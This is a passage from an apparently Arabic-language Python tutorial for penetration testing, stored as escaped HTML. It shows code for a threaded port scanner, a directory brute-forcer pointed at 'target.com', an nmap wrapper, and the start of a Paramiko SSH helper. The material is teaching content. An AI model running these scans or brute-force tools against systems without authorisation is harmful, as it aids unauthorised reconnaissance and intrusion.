class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003efast_scan\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehost\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003estart\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eend\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1024\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nb\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;[*] Scanning \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003ehost\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e...\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eopen_ports\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ewith\u003c/span\u003e \u003cspan class=\"n\"\u003econcurrent\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efutures\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eThreadPoolExecutor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emax_workers\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e100\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"n\"\u003eexecutor\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eresults\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eexecutor\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003escan_port\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e[(\u003c/span\u003e\u003cspan class=\"n\"\u003ehost\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003ep\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"nb\"\u003erange\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eend\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003eresult\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003eresults\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003eresult\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003eport\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eservice\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eresult\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nb\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;[+] \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eport\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e/tcp  OPEN  \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eservice\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003eopen_ports\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappend\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eport\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eopen_ports\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"vm\"\u003e__name__\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;__main__\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003efast_scan\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;192.168.1.1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"http-requests-للاستطلاع\"\u003eHTTP Requests للاستطلاع\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003erequests\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003efrom\u003c/span\u003e \u003cspan class=\"nn\"\u003econcurrent.futures\u003c/span\u003e \u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"n\"\u003eThreadPoolExecutor\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Directory brute-forcing بسيط\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003echeck_path\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003efull_url\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e/\u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003etry\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eresp\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erequests\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efull_url\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003etimeout\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eallow_redirects\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"kc\"\u003eFalse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003eresp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estatus_code\u003c/span\u003e \u003cspan class=\"ow\"\u003enot\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e404\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e403\u003c/span\u003e\u003cspan class=\"p\"\u003e]:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003efull_url\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eresp\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estatus_code\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eexcept\u003c/span\u003e \u003cspan class=\"n\"\u003erequests\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eRequestException\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003epass\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"kc\"\u003eNone\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003edir_bruteforce\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ewordlist_path\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ewith\u003c/span\u003e \u003cspan class=\"nb\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ewordlist_path\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003ewords\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eline\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estrip\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003eline\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003ef\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003eline\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estrip\u003c/span\u003e\u003cspan class=\"p\"\u003e()]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nb\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;[*] Scanning \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e with \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"nb\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ewords\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e words...\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ewith\u003c/span\u003e \u003cspan class=\"n\"\u003eThreadPoolExecutor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emax_workers\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"n\"\u003eexecutor\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eresults\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eexecutor\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003elambda\u003c/span\u003e \u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003echeck_path\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003ewords\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003eresult\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003eresults\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003eresult\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecode\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eresult\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nb\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;[\u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003ecode\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e] \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003edir_bruteforce\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;http://target.com\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;/usr/share/wordlists/dirb/common.txt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"subprocess--تشغيل-الأوامر\"\u003eSubprocess — تشغيل الأوامر\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003esubprocess\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003eshlex\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003erun_nmap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etarget\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003ecmd\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;nmap -sV -sC --top-ports 100 \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003etarget\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eresult\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esubprocess\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erun\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eshlex\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecmd\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003ecapture_output\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"kc\"\u003eTrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"kc\"\u003eTrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003etimeout\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e120\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eresult\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eoutput\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erun_nmap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;192.168.1.1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eoutput\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"مكتبة-paramiko-للـ-ssh\"\u003eمكتبة Paramiko للـ SSH\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003eparamiko\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003essh_connect\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehost\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eusername\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003epassword\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eport\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e22\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eclient\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eparamiko\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSSHClient\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eclient\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan 